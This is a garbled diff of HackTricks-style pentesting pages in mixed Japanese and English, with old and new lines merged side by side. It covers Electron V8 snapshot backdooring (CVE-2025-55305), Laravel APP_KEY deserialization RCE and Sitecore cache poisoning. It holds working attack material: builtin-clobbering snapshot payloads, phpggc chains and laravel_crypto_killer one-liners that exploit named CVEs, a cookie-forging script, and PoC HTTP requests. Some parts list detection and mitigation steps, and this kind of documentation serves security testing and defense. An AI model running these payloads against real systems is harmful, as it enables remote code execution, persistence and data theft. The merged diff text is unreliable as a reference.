{{#endref}} {{#endref}}
## **ツール** ## **Tools**
- [**Electronegativity**](https://github.com/doyensec/electronegativity) は Electron ベースのアプリケーションにおけるミスコンフィグやセキュリティのアンチパターンを特定するツールです。 - [**Electronegativity**](https://github.com/doyensec/electronegativity) is a tool to identify misconfigurations and security anti-patterns in Electron-based applications.
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) は Electronegativity を利用する Electron 向けのオープンソース VS Code プラグインです。 -> Electron ベースのアプリケーションにおけるミスコンフィギュレーションやセキュリティのアンチパターンを識別するツールです。
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) は脆弱なサードパーティライブラリをチェックするためのツールです - [**Electrolint**](https://github.com/ksdmitrieva/electrolint) is an open source VS Code plugin for Electron applications that uses Electronegativity.
- [**Electro.ng**](https://electro.ng/): 購入が必要です -> Electronegativity を利用する Electron 向けのオープンソース VS Code プラグインです。
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) to check for vulnerable third party libraries
-> 脆弱なサードパーティライブラリをチェックするためのツールです。
- [**Electro.ng**](https://electro.ng/): You need to buy it
-> 購入が必要です。
## ラボ ## Labs
In [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) you can find a lab to exploit vulnerable Electron apps. In [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) you can find a lab to exploit vulnerable Electron apps.
-> 上記リンクでは、exploit vulnerable Electron apps のラボが見つかります。
ラボで役立つコマンド: Some commands that will help you will the lab:
-> ラボで役立ついくつかのコマンド:
```bash ```bash
# Download apps from these URls # Download apps from these URls
# Vuln to nodeIntegration # Vuln to nodeIntegration
@ -438,18 +450,18 @@ cd vulnerable1
npm install npm install
npm start npm start
``` ```
## V8 heap snapshot の改ざんによるローカルバックドア挿入 (Electron/Chromium) CVE-2025-55305 ## Local backdooring via V8 heap snapshot tampering (Electron/Chromium) CVE-2025-55305
Electron および Chromium ベースのアプリは起動時に事前構築された V8 heap snapshot (v8_context_snapshot.bin、およびオプションで browser_v8_context_snapshot.bin) をデシリアライズして、各 V8 isolate (main, preload, renderer) を初期化します。従来、Electron の integrity fuses はこれらのスナップショットを実行可能コンテンツとして扱っておらず、そのため fuse ベースの整合性強制や OS のコード署名チェックの両方を回避していました。結果として、ユーザー書き込み可能なインストール環境でスナップショットを置き換えることで、署名済みバイナリや ASAR を変更することなくアプリ内部でステルスかつ永続的なコード実行が可能になりました。 Electron と Chromium ベースのアプリは、起動時に事前に用意された V8 heap snapshot を逆シリアライズして各 V8 isolate (main, preload, renderer) を初期化しますv8_context_snapshot.bin、必要に応じて browser_v8_context_snapshot.bin。歴史的に、Electron の integrity fuses はこれらの snapshot を実行可能コンテンツとして扱っておらず、そのため fuse ベースの整合性強制や OS の code-signing チェックの両方を回避していました。結果として、ユーザーが書き込み可能なインストール先に snapshot を置き換えるだけで、署名済みバイナリや ASAR を変更せずにアプリ内でステルスかつ永続的なコード実行が可能になっていました。
Key points Key points
- Integrity gap: EnableEmbeddedAsarIntegrityValidation and OnlyLoadAppFromAsar validate app JavaScript inside the ASAR, but they did not cover V8 heap snapshots (CVE-2025-55305). Chromium similarly does not integrity-check snapshots. - Integrity gap: EnableEmbeddedAsarIntegrityValidation and OnlyLoadAppFromAsar は ASAR 内のアプリ JavaScript を検証しますが、V8 heap snapshots をカバーしていませんでしたCVE-2025-55305。Chromium も同様に snapshots の整合性チェックを行っていません。
- Attack preconditions: Local file write into the apps installation directory. This is common on systems where Electron apps or Chromium browsers are installed under user-writable paths (e.g., %AppData%\Local on Windows; /Applications with caveats on macOS). - Attack preconditions: ローカルでアプリのインストールディレクトリにファイルを書き込めること。これは Electron アプリや Chromium ブラウザがユーザー書き込み可能なパスにインストールされているシステムで一般的です(例: %AppData%\Local on Windows; /Applications with caveats on macOS
- Effect: Reliable execution of attacker JavaScript in any isolate by clobbering a frequently used builtin (a “gadget”), enabling persistence and evasion of code-signing verification. - Effect: 頻繁に使われる builtin「gadget」を上書きすることで、任意の isolate 内で攻撃者の JavaScript を確実に実行でき、永続化と code-signing 検証の回避を可能にします。
- Affected surface: Electron apps (even with fuses enabled) and Chromium-based browsers that load snapshots from user-writable locations. - Affected surface: EnableEmbeddedAsarIntegrityValidation を有効にしていても Electron アプリ、およびユーザー書き込み可能な場所から snapshot をロードする Chromium ベースのブラウザが影響を受けます。
Generating a malicious snapshot without building Chromium Generating a malicious snapshot without building Chromium
- Use the prebuilt electron/mksnapshot to compile a payload JS into a snapshot and overwrite the applications v8_context_snapshot.bin. - prebuilt な electron/mksnapshot を使い、payload JS を snapshot にコンパイルしてアプリの v8_context_snapshot.bin を上書きします。
Example minimal payload (prove execution by forcing a crash) Example minimal payload (prove execution by forcing a crash)
```js ```js
@ -466,10 +478,10 @@ throw new Error("testing isArray gadget");
}; };
``` ```
Isolate-aware payload routing (main と renderer で異なるコードを実行) Isolate-aware payload routing (main と renderer で異なるコードを実行)
- Main process detection: process.pid、process.binding()、process.dlopen のような Node-only globals は main process isolate に存在します。 - Main process detection: メインプロセスの isolate では、Node 専用のグローバルprocess.pid、process.binding()、process.dlopen など)が存在します。
- Browser/renderer detection: alert のような Browser-only globals はドキュメントコンテキストで実行しているときに利用可能です。 - Browser/renderer detection: ドキュメントコンテキストで実行している場合、Browser 専用のグローバルalert など)が利用可能です。
main-process の Node 機能を一度だけプローブする example gadget main-process の Node 機能を一度だけプローブする Example gadget
```js ```js
const orig = Array.isArray; const orig = Array.isArray;
@ -498,7 +510,7 @@ process.exit(0);
return orig(...arguments); return orig(...arguments);
}; };
``` ```
レンダラー/ブラウザコンテキストのデータ窃取 PoC例: Slack Renderer/browser-context におけるデータ窃取 PoC (例: Slack)
```js ```js
const orig = Array.isArray; const orig = Array.isArray;
Array.isArray = function() { Array.isArray = function() {
@ -523,23 +535,23 @@ return orig(...arguments);
}; };
``` ```
Operator workflow Operator workflow
1) payload.js を作成し、一般的な組み込み(例: Array.isArrayを上書きし、必要に応じてアイソレートごとに分岐させる。 1) Write payload.js that clobbers a common builtin (e.g., Array.isArray) and optionally branches per isolate.
2) Chromium ソース無しで snapshot をビルドする: 2) Build the snapshot without Chromium sources:
- npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js" - npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
3) ターゲットアプリケーションの snapshot ファイルを上書きする: 3) Overwrite the target applications snapshot file(s):
- v8_context_snapshot.bin (常に使用される) - v8_context_snapshot.bin (always used)
- browser_v8_context_snapshot.bin (LoadBrowserProcessSpecificV8Snapshot fuse が使用されている場合) - browser_v8_context_snapshot.bin (if the LoadBrowserProcessSpecificV8Snapshot fuse is used)
4) アプリを起動すると、選択した組み込みが使用されるたびにガジェットが実行される。 4) Launch the application; the gadget executes whenever the chosen builtin is used.
Notes and considerations 注意点と考慮事項
- Integrity/signature bypass: スナップショットファイルはコード署名チェックでネイティブ実行ファイルとして扱われず、歴史的にElectrons fuses や Chromium 整合性制御の対象になっていなかった。 - 整合性/署名のバイパス: Snapshot ファイルは code-signing チェックでネイティブ実行ファイルとして扱われず、歴史的にElectron の fuses や Chromium の整合性制御の対象外だった。
- Persistence: ユーザー書き込み可能なインストールにあるスナップショットを置き換えると、通常アプリ再起動後も残存し、署名済みで正当なアプリに見える。 - 永続性: ユーザー書き込み可能なインストールにある snapshot を置き換えると、通常アプリ再起動をまたぎ、署名済みの正当なアプリに見える。
- Chromium browsers: 同じ改ざんの概念は、ユーザー書き込み可能な場所にインストールされた Chrome/派生ブラウザにも適用される。Chrome には他の整合性緩和策があるが、物理的にローカルな攻撃はその脅威モデルの範囲外として明示している。 - Chromium ブラウザ: 同様の改ざんはユーザー書き込み可能な場所にインストールされた Chrome/derivatives にも当てはまる。Chrome は別の整合性緩和策を持つが、物理的にローカルな攻撃をその脅威モデルから明示的に除外している。
Detection and mitigations 検出と緩和策
- スナップショットを実行可能コンテンツとして扱い、整合性強制の対象に含めるCVE-2025-55305 fix - Snapshot を実行可能コンテンツとして扱い、整合性強制に含めるCVE-2025-55305 fix
- 管理者のみ書き込み可能なインストール場所を優先する; v8_context_snapshot.bin と browser_v8_context_snapshot.bin のハッシュをベースライン化して監視する。 - 管理者のみ書き込み可能なインストール場所を優先する; v8_context_snapshot.bin と browser_v8_context_snapshot.bin のハッシュをベースライン化して監視する。
- 早期ランタイムでの組み込み上書きや予期しないスナップショットの変更を検出する; デシリアライズされたスナップショットが期待値と一致しない場合にアラートを出す。 - 早期ランタイムでの builtin 上書きや予期しない snapshot の変更を検出する; デシリアライズされた snapshot が期待値と一致しない場合にアラートを出す。
## **References** ## **References**

View File

@ -4,14 +4,14 @@
### Laravel SQLInjection ### Laravel SQLInjection
詳細はこちら: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel) この件の詳細は次を参照してください: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
--- ---
## APP_KEY & 暗号化の内部 (Laravel \u003e=5.6) ## APP_KEY & 暗号化の内部処理 (Laravel \u003e=5.6)
Laravelは内部で AES-256-CBC (または GCM) と HMAC による整合性を使用します (`Illuminate\\Encryption\\Encrypter`). Laravel は内部で AES-256-CBCまたは GCMと HMAC 整合性を使用します(`Illuminate\\Encryption\\Encrypter`)。
最終的に**クライアントに送信される**生の暗号文は、**JSONオブジェクトのBase64**のようになります: 最終的に**クライアントに送られる**生の暗号文は、**JSONオブジェクトのBase64**のようなものです:
```json ```json
{ {
"iv" : "Base64(random 16-byte IV)", "iv" : "Base64(random 16-byte IV)",
@ -20,7 +20,7 @@ Laravelは内部で AES-256-CBC (または GCM) と HMAC による整合性を
"tag" : "" // only used for AEAD ciphers (GCM) "tag" : "" // only used for AEAD ciphers (GCM)
} }
``` ```
`encrypt($value, $serialize=true)` はデフォルトで平文`serialize()` します。一方、`decrypt($payload, $unserialize=true)` は復号した値を**自動的に `unserialize()` します**。したがって **32バイトの秘密 `APP_KEY` を知っている攻撃者は暗号化された PHP シリアライズ済みオブジェクトを作成し、マジックメソッド(`__wakeup`, `__destruct`, …)を介して RCE を得ることができます** `encrypt($value, $serialize=true)` はデフォルトでプレーンテキスト`serialize()` します。一方、`decrypt($payload, $unserialize=true)` は復号した値を **自動的に `unserialize()` します。** したがって、32バイトの秘密 `APP_KEY` を知る攻撃者は暗号化された PHP シリアライズドオブジェクトを作成し、マジックメソッド(`__wakeup``__destruct`、…経由でRCEを獲得できます
Minimal PoC (framework ≥9.x): Minimal PoC (framework ≥9.x):
```php ```php
@ -29,12 +29,12 @@ use Illuminate\Support\Facades\Crypt;
$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f $chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
$evil = Crypt::encrypt($chain); // JSON->Base64 cipher ready to paste $evil = Crypt::encrypt($chain); // JSON->Base64 cipher ready to paste
``` ```
生成された文字列を任意の脆弱な `decrypt()` sink (route param, cookie, session, …) に注入します。 生成された文字列を、任意の脆弱な `decrypt()` sinkroute param、cookie、session、…に注入します。
--- ---
## laravel-crypto-killer 🧨 ## laravel-crypto-killer 🧨
[laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) はプロセス全体を自動化し、便利な **bruteforce** モードを追加します: [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) は処理全体を自動化し、便利な **bruteforce** モードを追加します:
```bash ```bash
# Encrypt a phpggc chain with a known APP_KEY # Encrypt a phpggc chain with a known APP_KEY
laravel_crypto_killer.py encrypt -k "base64:<APP_KEY>" -v "$(phpggc Laravel/RCE13 system id -b -f)" laravel_crypto_killer.py encrypt -k "base64:<APP_KEY>" -v "$(phpggc Laravel/RCE13 system id -b -f)"
@ -45,7 +45,7 @@ laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher>
# Try a word-list of keys against a token (offline) # Try a word-list of keys against a token (offline)
laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt
``` ```
このスクリプトはCBCとGCMのペイロードの両方を透過的にサポートし、HMAC/tagフィールドを再生成します。 このスクリプトはCBCおよびGCMの両方のペイロードに透過的に対応し、HMAC/tagフィールドを再生成します。
--- ---
@ -54,16 +54,16 @@ laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt
| Project | Vulnerable sink | Gadget chain | | Project | Vulnerable sink | Gadget chain |
|---------|-----------------|--------------| |---------|-----------------|--------------|
| Invoice Ninja ≤v5 (CVE-2024-55555) | `/route/{hash}``decrypt($hash)` | Laravel/RCE13 | | Invoice Ninja ≤v5 (CVE-2024-55555) | `/route/{hash}``decrypt($hash)` | Laravel/RCE13 |
| Snipe-IT ≤v6 (CVE-2024-48987) | `XSRF-TOKEN` cookie when `Passport::withCookieSerialization()` is enabled | Laravel/RCE9 | | Snipe-IT ≤v6 (CVE-2024-48987) | `Passport::withCookieSerialization()` が有効な場合の `XSRF-TOKEN` cookie | Laravel/RCE9 |
| Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie` `laravel_session` cookie | Laravel/RCE15 | | Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie` に設定された場合の `laravel_session` cookie | Laravel/RCE15 |
悪用のワークフローは常に次の通りです: The exploitation workflow is always:
1. 32バイトの`APP_KEY`を取得するか、ブルートフォースで特定する。 1. 32バイトの `APP_KEY` を入手するか、ブルートフォースで取得する。
2. **PHPGGC**でガジェットチェーンを構築する(例えば `Laravel/RCE13``Laravel/RCE9`、または`Laravel/RCE15`)。 2. **PHPGGC** で gadget chain を構築する(例: `Laravel/RCE13`, `Laravel/RCE9`, `Laravel/RCE15`)。
3. 復元した`APP_KEY`を使い、**laravel_crypto_killer.py**でシリアライズ済みのガジェットを暗号化する。 3. シリアライズした gadget を **laravel_crypto_killer.py** と取得した `APP_KEY`暗号化する。
4. 暗号文を脆弱な`decrypt()` sinkルートパラメータ、cookie、session …)に渡して**RCE**を引き起こす。 4. 暗号文を脆弱な `decrypt()` sinkルートパラメータ、cookie、session …)に渡して **RCE** を引き起こす。
以下は、上で挙げた各実際のCVEについてフル攻撃経路を示す簡潔なワンライナーです: 以下は、上記の各実際のCVEに対するフル攻撃パスを示す簡潔なワンライナーです
```bash ```bash
# Invoice Ninja ≤5 /route/{hash} # Invoice Ninja ≤5 /route/{hash}
php8.2 phpggc Laravel/RCE13 system id -b -f | \ php8.2 phpggc Laravel/RCE13 system id -b -f | \
@ -80,38 +80,38 @@ php8.2 phpggc Laravel/RCE15 system id -b > payload.bin
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v payload.bin --session_cookie=<orig_hash> > forged.txt ./laravel_crypto_killer.py encrypt -k <APP_KEY> -v payload.bin --session_cookie=<orig_hash> > forged.txt
curl -H "Cookie: laravel_session=<orig>; <cookie_name>=$(cat forged.txt)" https://victim/login curl -H "Cookie: laravel_session=<orig>; <cookie_name>=$(cat forged.txt)" https://victim/login
``` ```
## 大量の APP_KEY 発見 — cookie brute-force による ## cookie brute-forceによる大量のAPP_KEY発見
新しい Laravel のレスポンスは少なくとも1つの暗号化された cookie`XSRF-TOKEN`、通常は `laravel_session`を設定するため、public internet scanners (Shodan, Censys, …) leak millions of ciphertexts が発生し、これらはオフラインで攻撃可能です。 Because every fresh Laravel response sets at least 1 encrypted cookie (`XSRF-TOKEN` and usually `laravel_session`), **public internet scanners (Shodan, Censys, …) leak millions of ciphertexts** that can be attacked offline.
Synacktiv (2024-2025) が発表した研究の主な所見: Key findings of the research published by Synacktiv (2024-2025):
* Dataset July 2024 » 580 k tokens, **3.99 % keys cracked** (≈23 k) * Dataset July 2024 » 580 k tokens, **3.99 % keys cracked** (≈23 k)
* Dataset May 2025 » 625 k tokens, **3.56 % keys cracked** * Dataset May 2025 » 625 k tokens, **3.56 % keys cracked**
* >1 000 servers still vulnerable to legacy CVE-2018-15133 because tokens directly contain serialized data. * >1 000 servers still vulnerable to legacy CVE-2018-15133 because tokens directly contain serialized data.
* 大規模なキー再利用 Top-10 APP_KEYs は商用 Laravel テンプレートUltimatePOS, Invoice Ninja, XPanel, …)にハードコードされたデフォルトです。 * Huge key reuse the Top-10 APP_KEYs are hard-coded defaults shipped with commercial Laravel templates (UltimatePOS, Invoice Ninja, XPanel, …).
プライベートな Go ツール **nounours** は AES-CBC/GCM bruteforce のスループットを約 1.5 billion tries/s に押し上げ、全データセットの cracking を <2 分に短縮します The private Go tool **nounours** pushes AES-CBC/GCM bruteforce throughput to ~1.5 billion tries/s, reducing full dataset cracking to <2 minutes.
## CVE-2024-52301 HTTP argv/env override → 認証バイパス ## CVE-2024-52301 HTTP argv/env override → auth bypass
多くのディストリビューションで典型的な PHP 設定 `register_argc_argv=On` の場合、PHP はクエリ文字列から派生した HTTP リクエスト用の `argv` 配列を公開します。最近の Laravel バージョンはこの「CLI-like」な引数を解析し、ランタイムで `--env=<value>` を尊重しました。これにより、任意の URL これを付与するだけで現在の HTTP リクエストのフレームワーク環境を切り替えることができます: 多くのディストリビューションで一般的な `register_argc_argv=On` の場合、PHPはクエリ文字列から派生したHTTPリクエスト用の `argv` 配列を公開します。最近のLaravelのバージョンはこれらの “CLI-like” 引数を解析し、ランタイムで `--env=<value>` を尊重しました。これにより、任意のURLに付与するだけで現在のHTTPリクエストのフレームワーク環境を切り替えることができます:
- 簡易確認: - 簡易確認:
- `https://target/?--env=local` または任意の文字列にアクセスして、環境依存の変化(デバッグバナー、フッター、詳細なエラーなど)を確認します。文字列が反映されていれば、オーバーライドが機能しています。 - Visit `https://target/?--env=local` or any string and look for environment-dependent changes (debug banners, footers, verbose errors). If the string is reflected, the override is working.
- インパクト例(特定の env を信頼するビジネスロジック): - 影響例(特定の env を信用するビジネスロジック):
- アプリに `if (app()->environment('preprod')) { /* bypass auth */ }` のような分岐がある場合、ログイン POST を以下に送ることで有効な資格情報なしに認証できます: - アプリに `if (app()->environment('preprod')) { /* bypass auth */ }` のような分岐がある場合、ログインPOSTを次のように送ることで有効な認証情報なしに認証できる可能性があります:
- `POST /login?--env=preprod` - `POST /login?--env=preprod`
- 注意点: - 注意点:
- リクエスト単位で動作し、永続化しません。 - リクエスト単位で動作し、永続化しません。
- `register_argc_argv=On` と、HTTP の argv を読む脆弱な Laravel バージョンが必要です。 - `register_argc_argv=On` と、HTTPでargvを読む脆弱なLaravelバージョンが必要です。
- “debug” 環境でより詳細なエラーを出したり、環境制御されたコードパスをトリガーしたりする際に有用なプリミティブです。 - “debug” 環境でより詳細なエラーを表示させたり、環境で制御されたコードパスをトリガーするための有用なプリミティブです。
- 緩和策: - 緩和策:
- PHP-FPM/Apache`register_argc_argv` を無効化する。 - PHP-FPM/Apache`register_argc_argv` を無効にする。
- HTTP リクエストで argv を無視するよう Laravel をアップグレードし、本番ルートで `app()->environment()` に依存した信頼前提を削除する。 - LaravelをアップグレードしてHTTPリクエストでargvを無視するようにし、本番ルートで `app()->environment()` に依存した信頼前提を排除する。
Minimal exploitation flow (Burp): Minimal exploitation flow (Burp):
```http ```http
@ -123,26 +123,26 @@ email=a@b.c&password=whatever&remember=0xdf
``` ```
--- ---
## Laravel のトリック ## Laravelのトリック
### デバッグモード ### デバッグモード
Laravel が **デバッグモード** の場合、**コード** や **機密データ** にアクセスできるようになります。\ If Laravel is in **debugging mode** you will be able to access the **code** and **sensitive data**.\
For example `http://127.0.0.1:8000/profiles`: For example `http://127.0.0.1:8000/profiles`:
![](<../../images/image (1046).png>) ![](<../../images/image (1046).png>)
これは通常、他の Laravel RCE CVEs を悪用する際に必要になります。 This is usually needed for exploiting other Laravel RCE CVEs.
### フィンガープリンティング & 公開された開発用エンドポイント ### フィンガープリンティング公開された開発用エンドポイント
本番で公開されている Laravel スタックや危険な開発ツールを特定するための簡易チェック: 運用環境で公開されているLaravelスタックや危険な開発ツールを特定するための簡単なチェック
- `/_ignition/health-check` → Ignition が存在 (CVE-2021-3129 で使われたデバッグツール)。認証なしで到達可能な場合、アプリはデバッグモードか設定ミスの可能性があります。 - `/_ignition/health-check` → Ignitionが存在debug tool used by CVE-2021-3129。認証なしで到達可能な場合、アプリがデバッグ中または設定ミスの可能性があります。
- `/_debugbar` → Laravel Debugbar のアセット。多くの場合デバッグモードを示します。 - `/_debugbar` → Laravel Debugbarのアセット;しばしばデバッグモードを示します。
- `/telescope` → Laravel Telescope (開発監視ツール)。公開されている場合、広範な情報漏洩や実行可能な操作が予想されます。 - `/telescope` → Laravel Telescopedev monitor。公開されている場合、広範な情報開示と操作の可能性が考えられます。
- `/horizon`キューのダッシュボード。バージョン情報の開示や、場合によっては CSRF 保護された操作が存在することがあります。 - `/horizon`Queue dashboardバージョン情報の開示や、時にCSRF-protected actionsが存在することがあります。
- `X-Powered-By`、クッキー `XSRF-TOKEN``laravel_session`、および Blade のエラーページもフィンガープリントに役立ちます。 - `X-Powered-By`, cookies `XSRF-TOKEN` and `laravel_session`, and Blade error pages also help fingerprint.
```bash ```bash
# Nuclei quick probe # Nuclei quick probe
nuclei -nt -u https://target -tags laravel -rl 30 nuclei -nt -u https://target -tags laravel -rl 30
@ -151,11 +151,11 @@ for p in _ignition/health-check _debugbar telescope horizon; do curl -sk https:/
``` ```
### .env ### .env
Laravel は、cookies やその他の資格情報を暗号化するために使用する APP `.env` というファイルに保存します。このファイルにはパストラバーサル`/../.env` のようにアクセスできます。 Laravelは、cookiesやその他の資格情報を暗号化するために使用するAPPを`.env`というファイルに保存します。このファイルにはパストラバーサルを使って`/../.env`経由でアクセスできます。
Laravel は、エラーを検出して debug が有効になっている場合に、この情報を debug page 内にも表示します。 Laravelはこの情報をdebug pageLaravelがエラーを検出し、それが有効になっているときに表示されるにも表示します。
Laravel の秘密の APP_KEY を使用すると、cookies を復号および再暗号化できます: Laravelの秘密のAPP_KEYを使用して、cookiesを復号化および再暗号化できます:
### Decrypt Cookie ### Decrypt Cookie
```python ```python
@ -218,12 +218,12 @@ encrypt(b'{"data":"a:6:{s:6:\"_token\";s:40:\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2Swe
``` ```
### Laravel Deserialization RCE ### Laravel Deserialization RCE
影響を受けるバージョン: 5.5.40 および 5.6.x 5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/)) 影響を受けるバージョン: 5.5.40 および 5.6.x 5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/))
deserialization 脆弱性に関する情報は次を参照してください: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/) deserialization 脆弱性に関する情報はこちら: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/)
テストおよびexploitには次を使用できます: [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\ テストおよびエクスプロイトは以下を使用して行えます: [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\
または metasploit を使って exploit することもできます: `use unix/http/laravel_token_unserialize_exec` または metasploit を使ってエクスプロイトすることもできます: `use unix/http/laravel_token_unserialize_exec`
### CVE-2021-3129 ### CVE-2021-3129

View File

@ -2,12 +2,12 @@
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}
このページは、preauth XAML handler から HTML cache poisoning を経て、認証された UI フローを介して BinaryFormatter deserialization による RCE に至る、Sitecore XP 10.4.1 に対する実用的な攻撃チェーンを要約します。これらの手法は類似の Sitecore バージョン/コンポーネントにも一般化でき、テスト、検出、強化のための具体的なプリミティブを提供します。 このページは、Sitecore XP 10.4.1 に対する実用的な攻撃チェーンを要約しており、preauth XAML handler から HTML cache poisoning を経由し、authenticated UI フローを通じて BinaryFormatter deserialization による RCE へとピボットする攻撃を示します。これらの手法は類似の Sitecore バージョン/コンポーネントにも一般化でき、テスト、検出、および強化のための具体的なプリミティブを提供します。
- 対象製品(検証済み): Sitecore XP 10.4.1 rev. 011628 - Affected product tested: Sitecore XP 10.4.1 rev. 011628
- Fixed in: KB1003667, KB1003734 (June/July 2025) - Fixed in: KB1003667, KB1003734 (June/July 2025)
See also: 参照:
{{#ref}} {{#ref}}
../../../pentesting-web/cache-deception/README.md ../../../pentesting-web/cache-deception/README.md
@ -23,11 +23,11 @@ Entrypoint is the preauth XAML handler registered in web.config:
```xml ```xml
<add verb="*" path="sitecore_xaml.ashx" type="Sitecore.Web.UI.XamlSharp.Xaml.XamlPageHandlerFactory, Sitecore.Kernel" name="Sitecore.XamlPageRequestHandler" /> <add verb="*" path="sitecore_xaml.ashx" type="Sitecore.Web.UI.XamlSharp.Xaml.XamlPageHandlerFactory, Sitecore.Kernel" name="Sitecore.XamlPageRequestHandler" />
``` ```
以下からアクセス可能: 経由でアクセス可能:
``` ```
GET /-/xaml/Sitecore.Shell.Xaml.WebControl GET /-/xaml/Sitecore.Shell.Xaml.WebControl
``` ```
コントロールツリーには AjaxScriptManager が含まれており、イベントリクエスト時に攻撃者が制御するフィールドを読み取り、リフレクションで対象コントロールのメソッドを呼び出します: コントロールツリーには AjaxScriptManager が含まれており、イベントリクエスト時に attacker が制御するフィールドを読み取り、対象コントロールのメソッドをリフレクションを使って呼び出します:
```csharp ```csharp
// AjaxScriptManager.OnPreRender // AjaxScriptManager.OnPreRender
string clientId = page.Request.Form["__SOURCE"]; // target control string clientId = page.Request.Form["__SOURCE"]; // target control
@ -42,9 +42,9 @@ if (m != null) m.Invoke(this, e.Parameters);
// Alternate branch for XML-based controls // Alternate branch for XML-based controls
if (control is XmlControl && AjaxScriptManager.DispatchXmlControl(control, args)) {...} if (control is XmlControl && AjaxScriptManager.DispatchXmlControl(control, args)) {...}
``` ```
重要な観察点: XAML ページには XmlControl インスタンス (xmlcontrol:GlobalHeader) が含まれています。Sitecore.XmlControls.XmlControl は Sitecore.Web.UI.WebControlSitecore のクラスを継承しており、ReflectionUtil.Filter allowlist (Sitecore.*) を通すため、Sitecore WebControl のメソッドがアンロックされます 重要な点: XAMLページには XmlControl インスタンス (xmlcontrol:GlobalHeader) が含まれてい。Sitecore.XmlControls.XmlControl は Sitecore.Web.UI.WebControlSitecore のクラスを継承しており、ReflectionUtil.Filter の許可リスト (Sitecore.*) を通すため、Sitecore WebControl のメソッドが有効になる
poisoning のためのマジックメソッド: ポイズニング用の Magic メソッド:
```csharp ```csharp
// Sitecore.Web.UI.WebControl // Sitecore.Web.UI.WebControl
protected virtual void AddToCache(string cacheKey, string html) { protected virtual void AddToCache(string cacheKey, string html) {
@ -54,7 +54,7 @@ if (c != null) c.SetHtml(cacheKey, html, this._cacheTimeout);
``` ```
xmlcontrol:GlobalHeader をターゲットにし、Sitecore.Web.UI.WebControl のメソッドを名前で呼び出せるため、preauth の任意の HtmlCache 書き込みプリミティブが得られます。 xmlcontrol:GlobalHeader をターゲットにし、Sitecore.Web.UI.WebControl のメソッドを名前で呼び出せるため、preauth の任意の HtmlCache 書き込みプリミティブが得られます。
### PoC リクエスト (CVE-2025-53693) ### PoC request (CVE-2025-53693)
``` ```
POST /-/xaml/Sitecore.Shell.Xaml.WebControl HTTP/2 POST /-/xaml/Sitecore.Shell.Xaml.WebControl HTTP/2
Host: target Host: target
@ -62,13 +62,13 @@ Content-Type: application/x-www-form-urlencoded
__PARAMETERS=AddToCache("wat","<html><body>pwn</body></html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1 __PARAMETERS=AddToCache("wat","<html><body>pwn</body></html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
``` ```
: 意事項:
- __SOURCE は Sitecore.Shell.Xaml.WebControl 内の xmlcontrol:GlobalHeader の clientID です(静的 XAML に由来するため、ctl00_ctl00_ctl05_ctl03 のように一般的に安定しています)。 - __SOURCE は Sitecore.Shell.Xaml.WebControl 内の xmlcontrol:GlobalHeader の clientID です(静的 XAML に由来するため、通常 ctl00_ctl00_ctl05_ctl03 のように安定しています)。
- __PARAMETERS の形式は Method("arg1","arg2")。 - __PARAMETERS の形式は Method("arg1","arg2") です
## What to poison: キャッシュキーの構築 ## 何を poison するか: キャッシュキーの構築
Sitecore のコントロールで使用される典型的な HtmlCache キーの構築: Sitecore controls で使用される典型的な HtmlCache キーの構築:
```csharp ```csharp
public virtual string GetCacheKey(){ public virtual string GetCacheKey(){
SiteContext site = Sitecore.Context.Site; SiteContext site = Sitecore.Context.Site;
@ -94,9 +94,9 @@ return string.Empty;
``` ```
__PARAMETERS=AddToCache("/layouts/Sample+Sublayout.ascx_%23lang:EN_%23login:False_%23qs:_%23index","<html>…attacker HTML…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1 __PARAMETERS=AddToCache("/layouts/Sample+Sublayout.ascx_%23lang:EN_%23login:False_%23qs:_%23index","<html>…attacker HTML…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
``` ```
## キャッシュ可能なアイテムと “vary by” ディメンションの列挙 ## キャッシュ可能なアイテムと “vary by” 次元の列挙
ItemServiceが誤って匿名で公開されている場合、キャッシュ可能なコンポーネントを列挙して正確なキーを導出できます。 ItemServiceが匿名で(誤って)公開されている場合、キャッシュ可能なコンポーネントを列挙して正確なキーを導出できます。
簡易プローブ: 簡易プローブ:
``` ```
